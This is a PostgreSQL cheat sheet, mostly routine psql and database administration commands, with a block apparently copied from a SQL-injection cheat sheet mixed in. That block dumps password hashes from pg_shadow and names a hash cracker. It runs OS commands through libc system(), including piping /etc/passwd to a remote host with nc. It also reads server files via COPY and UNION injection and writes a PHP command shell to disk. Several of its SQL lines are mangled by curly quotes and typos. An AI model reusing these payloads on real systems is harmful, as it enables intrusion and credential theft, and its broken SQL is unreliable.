Postgresql Cheat Sheet

Commands

SELECT Table_Name, Column_Name 
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_CATALOG = 'YOUR_DATABASE'
AND COLUMN_NAME LIKE '%YOUR_COLUMN%'

Postgres Cheatsheet

This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

Slash Commands

General
  \c[onnect] [DBNAME|- [USER]]
                 connect to new database (currently "pizzastore")
  \cd [DIR]      change the current working directory
  \copyright     show PostgreSQL usage and distribution terms
  \encoding [ENCODING]
                 show or set client encoding
  \h [NAME]      help on syntax of SQL commands, * for all commands
  \q             quit psql
  \set [NAME [VALUE]]
                 set internal variable, or list all if no parameters
  \timing        toggle timing of commands (currently off)
  \unset NAME    unset (delete) internal variable
  \! [COMMAND]   execute command in shell or start interactive shell

Query Buffer
  \e [FILE]      edit the query buffer (or file) with external editor
  \g [FILE]      send query buffer to server (and results to file or |pipe)
  \p             show the contents of the query buffer
  \r             reset (clear) the query buffer
  \s [FILE]      display history or save it to file
  \w FILE        write query buffer to file

Input/Output
  \echo [STRING] write string to standard output
  \i FILE        execute commands from file
  \o [FILE]      send all query results to file or |pipe
  \qecho [STRING]
                 write string to query output stream (see \o)

Informational
  \d [NAME]      describe table, index, sequence, or view
  \d{t|i|s|v|S} [PATTERN] (add "+" for more detail)
                 list tables/indexes/sequences/views/system tables
  \da [PATTERN]  list aggregate functions
  \db [PATTERN]  list tablespaces (add "+" for more detail)
  \dc [PATTERN]  list conversions
  \dC            list casts
  \dd [PATTERN]  show comment for object
  \dD [PATTERN]  list domains
  \df [PATTERN]  list functions (add "+" for more detail)
  \dg [PATTERN]  list groups
  \dn [PATTERN]  list schemas (add "+" for more detail)
  \do [NAME]     list operators
  \dl            list large objects, same as \lo_list
  \dp [PATTERN]  list table, view, and sequence access privileges
  \dT [PATTERN]  list data types (add "+" for more detail)
  \du [PATTERN]  list users
  \l             list all databases (add "+" for more detail)
  \z [PATTERN]   list table, view, and sequence access privileges (same as \dp)

Formatting
  \a             toggle between unaligned and aligned output mode
  \C [STRING]    set table title, or unset if none
  \f [STRING]    show or set field separator for unaligned query output
  \H             toggle HTML output mode (currently off)
  \pset NAME [VALUE]
                 set table output option
                 (NAME := {format|border|expanded|fieldsep|footer|null|
                 recordsep|tuples_only|title|tableattr|pager})
  \t             show only rows (currently off)
  \T [STRING]    set HTML <table> tag attributes, or unset if none
  \x             toggle expanded output (currently off)

Copy, Large Object
  \copy ...      perform SQL COPY with data stream to the client host
  \lo_export LOBOID FILE
  \lo_import FILE [COMMENT]
  \lo_list
  \lo_unlink LOBOID    large object operations

Common Commands

Version SELECT version()
Comments    SELECT 1; –comment
SELECT /*comment*/1;
Current User    SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users  SELECT usename FROM pg_user
List Password Hashes    SELECT usename, passwd FROM pg_shadow — priv
Password Cracker    MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts   SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database    SELECT current_database()
List Databases  SELECT datname FROM pg_database
List Columns    SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name    If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth Row  SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
ASCII Value -> Char SELECT chr(65);
Char -> ASCII Value SELECT ascii(‘A’);
Casting SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
String Concatenation    SELECT ‘A’ || ‘B’; — returnsAB
If Statement    IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
Time Delay  SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
Make DNS Requests   Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution   CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access   CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address    SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users    CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users  DROP USER test1; — priv
Make User DBA   ALTER USER test1 CREATEUSER CREATEDB; — priv
 Location of DB files   SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
Default/System Databases    template0
template1

#

Get trigger src

select prosrc from pg_trigger,pg_proc where
 pg_proc.oid=pg_trigger.tgfoid
 and pg_trigger.tgname = 'jtrigger';

Setup

installation, Ubuntu

http://www.postgresql.org/download/linux/ubuntu/ https://help.ubuntu.com/community/PostgreSQL

sudo echo "deb http://apt.postgresql.org/pub/repos/apt/ wily-pgdg main" > \
  /etc/apt/sources.list.d/pgdg.list
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo apt-get update
sudo apt-get install -y postgresql-9.5 postgresql-client-9.5 postgresql-contrib-9.5

sudo su - postgres
psql

connect

http://www.postgresql.org/docs/current/static/app-psql.html

psql

psql -U <username> -d <database> -h <hostname>

psql --username=<username> --dbname=<database> --host=<hostname>

disconnect

\q
\!

clear the screen

(CTRL + L)

info

\conninfo

configure

http://www.postgresql.org/docs/current/static/runtime-config.html

sudo nano $(locate -l 1 main/postgresql.conf)
sudo service postgresql restart

debug logs

# print the last 24 lines of the debug log
sudo tail -24 $(find /var/log/postgresql -name 'postgresql-*-main.log')

Recon

show version

SHOW SERVER_VERSION;

show system status

\conninfo

show environmental variables

SHOW ALL;

list users

SELECT rolname FROM pg_roles;

show current user

SELECT current_user;

show current user's permissions

\du

list databases

\l

show current database

SELECT current_database();

show all tables in database

\dt

list functions

\df <schema>

Databases

list databasees

\l

connect to database

\c <database_name>

show current database

SELECT current_database();

create database

http://www.postgresql.org/docs/current/static/sql-createdatabase.html

CREATE DATABASE <database_name> WITH OWNER <username>;

delete database

http://www.postgresql.org/docs/current/static/sql-dropdatabase.html

DROP DATABASE IF EXISTS <database_name>;

rename database

http://www.postgresql.org/docs/current/static/sql-alterdatabase.html

ALTER DATABASE <old_name> RENAME TO <new_name>;

Users

list roles

SELECT rolname FROM pg_roles;

create user

http://www.postgresql.org/docs/current/static/sql-createuser.html

CREATE USER <user_name> WITH PASSWORD '<password>';

drop user

http://www.postgresql.org/docs/current/static/sql-dropuser.html

DROP USER IF EXISTS <user_name>;

alter user password

http://www.postgresql.org/docs/current/static/sql-alterrole.html

ALTER ROLE <user_name> WITH PASSWORD '<password>';

Permissions

become the postgres user, if you have permission errors

sudo su - postgres
psql

grant all permissions on database

http://www.postgresql.org/docs/current/static/sql-grant.html

GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;

grant connection permissions on database

GRANT CONNECT ON DATABASE <db_name> TO <user_name>;

grant permissions on schema

GRANT USAGE ON SCHEMA public TO <user_name>;

grant permissions to functions

GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;

grant permissions to select, update, insert, delete, on a all tables

GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;

grant permissions, on a table

GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;

grant permissions, to select, on a table

GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;

Schema

list schemas

\dn

SELECT schema_name FROM information_schema.schemata;

SELECT nspname FROM pg_catalog.pg_namespace;

create schema

http://www.postgresql.org/docs/current/static/sql-createschema.html

CREATE SCHEMA IF NOT EXISTS <schema_name>;

drop schema

http://www.postgresql.org/docs/current/static/sql-dropschema.html

DROP SCHEMA IF EXISTS <schema_name> CASCADE;

Tables

list tables, in current db

\dt

SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;

list tables, globally

\dt *.*.

SELECT * FROM pg_catalog.pg_tables

list table schema

\d <table_name>
\d+ <table_name>

SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';

create table

http://www.postgresql.org/docs/current/static/sql-createtable.html

CREATE TABLE <table_name>(
  <column_name> <column_type>,
  <column_name> <column_type>
);

create table, with an auto-incrementing primary key

CREATE TABLE <table_name> (
  <column_name> SERIAL PRIMARY KEY
);

delete table

http://www.postgresql.org/docs/current/static/sql-droptable.html

DROP TABLE IF EXISTS <table_name> CASCADE;

Columns

add column

http://www.postgresql.org/docs/current/static/sql-altertable.html

ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];

update column

ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];

delete column

ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;

update column to be an auto-incrementing primary key

ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;

insert into a table, with an auto-incrementing primary key

INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);


INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );

Data

read all data

http://www.postgresql.org/docs/current/static/sql-select.html

SELECT * FROM <table_name>;

read one row of data

SELECT * FROM <table_name> LIMIT 1;

search for data

SELECT * FROM <table_name> WHERE <column_name> = <value>;

insert data

http://www.postgresql.org/docs/current/static/sql-insert.html

INSERT INTO <table_name> VALUES( <value_1>, <value_2> );

edit data

http://www.postgresql.org/docs/current/static/sql-update.html

UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;

delete all data

http://www.postgresql.org/docs/current/static/sql-delete.html

DELETE FROM <table_name>;

delete specific data

DELETE FROM <table_name>
WHERE <column_name> = <value>;

Scripting

run local script, on remote host

http://www.postgresql.org/docs/current/static/app-psql.html

psql -U <username> -d <database> -h <host> -f <local_file>

psql --username=<username> --dbname=<database> --host=<host> --file=<local_file>

backup database data, everything

http://www.postgresql.org/docs/current/static/app-pgdump.html

pg_dump <database_name>

pg_dump <database_name>

backup database, only data

pg_dump -a <database_name>

pg_dump --data-only <database_name>

backup database, only schema

pg_dump -s <database_name>

pg_dump --schema-only <database_name>

restore database data

http://www.postgresql.org/docs/current/static/app-pgrestore.html

pg_restore -d <database_name> -a <file_pathway>

pg_restore --dbname=<database_name> --data-only <file_pathway>

restore database schema

pg_restore -d <database_name> -s <file_pathway>

pg_restore --dbname=<database_name> --schema-only <file_pathway>

export table into CSV file

http://www.postgresql.org/docs/current/static/sql-copy.html

\copy <table_name> TO '<file_path>' CSV

export table, only specific columns, to CSV file

\copy <table_name>(<column_1>,<column_1>,<column_1>) TO '<file_path>' CSV

import CSV file into table

http://www.postgresql.org/docs/current/static/sql-copy.html

\copy <table_name> FROM '<file_path>' CSV

import CSV file into table, only specific columns

\copy <table_name>(<column_1>,<column_1>,<column_1>) FROM '<file_path>' CSV

Debugging

http://www.postgresql.org/docs/current/static/using-explain.html

http://www.postgresql.org/docs/current/static/runtime-config-logging.html

Advanced Features

http://www.tutorialspoint.com/postgresql/postgresql_constraints.htm